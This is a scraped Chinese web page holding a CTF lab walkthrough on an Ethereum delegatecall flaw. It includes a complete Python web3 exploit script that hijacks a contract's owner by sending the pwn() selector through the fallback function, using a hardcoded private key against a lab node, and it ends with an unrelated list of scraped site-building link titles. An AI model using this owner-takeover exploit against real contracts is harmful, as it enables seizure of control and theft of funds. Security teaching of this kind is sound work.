当前位置: 首页 > news >正文

网站关键词快速排名工具智诚外包网

网站关键词快速排名工具,智诚外包网,西安网站代维护,平台搭建是什么区块链安全 文章目录 区块链安全Call函数簇滥用实战一实验目的实验环境实验原理实验内容实验过程 Call函数簇滥用实战一 实验目的 学会使用python3的web3模块 学会以太坊Delegatecall漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call 外部调用…区块链安全 文章目录 区块链安全Call函数簇滥用实战一实验目的实验环境实验原理实验内容实验过程 Call函数簇滥用实战一 实验目的 学会使用python3的web3模块 学会以太坊Delegatecall漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理 call 外部调用时上下文是外部合约delegatecall 外部调用时上下文是调用合约 fallback函数调用条件一是如果合约在被调用的时候找不到对方调用的函数就会自动调用 fallback 函数二是只要是合约收到别人发送的 Ether 且没有数据就会尝试执行 fallback 函数此时 fallback 需要带有 payable 标记否则合约就会拒绝这个 Ether 实验内容 找到Delegatecall漏洞并形成利用把flag标志设置为true 使用python3的web3模块远程利用漏洞并获取flag 实验地址为nc ip 10005 实验过程 Call函数簇滥用实战一 实验步骤 获取合约地址和合约源代码 nc ip 10005连接到题目输入1获取部署合约的game account及token 打开http://ip输入上述分配的game account点击Request获取eth nc ip 10005连接到题目输入2获取部署合约的地址及new token nc ip 10005连接到题目输入4获取合约源代码或者在题目附件找到合约源代码 分析合约源代码漏洞 题目要求把flag设置为true分析合约代码需要修改合约owner为自己 漏洞主要在于使用了delegatecall函数调用delegatecall外部调用时上下文是调用合约所以delegate.delegatecall(msg.data)其实调用的是delegate自身的msg.data。 熟悉 raw 格式的交易的 data 的会知道data 头4个 byte 是被调用方法的签名哈希即 bytes4(keccak256(“func”)) , remix 里调用函数实际是向合约账户地址发送了( msg.data[0:4] 函数签名哈希 )的一笔交易所以我们只需调用 ETH5 的 fallback 的同时在 msg.data 放入 pwn() 函数的签名即可。 这里其实主要思路就是 fallback 的触发条件一是如果合约在被调用的时候找不到对方调用的函数就会自动调用 fallback 函数二是只要是合约收到别人发送的 Ether 且没有数据就会尝试执行 fallback 函数此时 fallback 需要带有 payable 标记否则合约就会拒绝这个 Ether。 综上我们只需调用 Delegation 的 假pwn() 即可这样就会触发 Delegation 的 fallback 这样 pwn 的函数签名哈希就会放在 msg.data[0:4] 了这样就会只需 delegate 的 pwn() 把 owner 变成自己 EXP利用 使用EOA账户调用ETH5合约的假pwn()函数将owner修改为攻击者自己然后调用ETH5的getflag()函数即可编写exp将这一过程自动化下述contract_address的地址换成自己题目合约的地址 from web3 import Web3, HTTPProvider from solcx import compile_source import timew3 Web3(Web3.HTTPProvider(http://192.168.2.102:8545))contract_address 0xBD29D46744beeD67e15bB20bf0f159aEfEEbBcE7 private 92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb public 0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480fdef generate_tx(chainID, to, data, value):txn {chainId: chainID,from: Web3.toChecksumAddress(public),to: to,gasPrice: w3.eth.gasPrice,gas: 3000000,nonce: w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),value: Web3.toWei(value, ether),data: data,}return txndef sign_and_send(txn):signed_txn w3.eth.account.signTransaction(txn, private)txn_hash w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt w3.eth.waitForTransactionReceipt(txn_hash)print(txn_hash, txn_hash)return txn_receiptdata Web3.keccak(textpwn()).hex()[:10]# call pwn() in ETH5 txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) print(txn_receipt)time.sleep(5)# call getflag() in ETH5 data Web3.keccak(textgetflag()).hex()[:10] txn generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0) txn_receipt sign_and_send(txn) print(txn_receipt)运行expstatus1代表交易成功 nc ip 10005连接到题目输入3输入之前的new token获取flag
http://www.yingshimen.cn/news/87988/

相关文章:

  • 深圳制作企业网站wordpress后台not found
  • 做网站要用到的技术网站几个模板最好
  • 关于网站优化的文章百度企业号
  • 宁波做网站哪里专业红河做网站
  • 怎么做淘宝客导购网站谷歌竞价排名推广公司
  • 地方网站盈利公司网站域名如何备案
  • 网站内容编辑工具icp网站备案系统
  • 网站建设培训内容不会被和谐的手机浏览器
  • 可以做推送的网站上海市企业服务云网站
  • 企业宣传型网站建设网页图片转换成pdf文件
  • 优化网站定制海南网站优化
  • 大型电商网站开发价格中通建设计院第四分公司网站
  • 创建门户网站的方案网站开发文档的示例
  • 安徽住房城乡建设厅网站专业的家居行业网站模板
  • php开发的培训网站建设建设银行金牛支行网站
  • 网站首页index.php全屏展示代码怎么弄宁波网站优化公司
  • 四川住房和城乡建设厅网站主页成全视频观看免费高清中国电视剧
  • 深圳做网站得外包公司有哪些网站开发字体
  • 东营中移动网站建设homezz wordpress
  • 网站布局优化策略南通建筑人才网
  • 怎么找网站的后台地址电商设计是什么意思
  • 织梦网站模板本地安装教程WordPress留言板插件使用
  • 长沙市做网站公司排名做seo哪些网站会好点
  • 可信网站认证必须做吗创建企业营销网站包括哪些内容
  • 做一个网站需要多少钱大概费用上海建设网站制
  • 引导型网站设计说说wordpress
  • 专业手机网站建设企业怎样做视频电影网站
  • 做图片带字的网站软件设计师教程
  • 兰州市网站建设公司成都微信网站建设公司哪家好
  • 做网站的公司怎么赚钱小程序搭建教程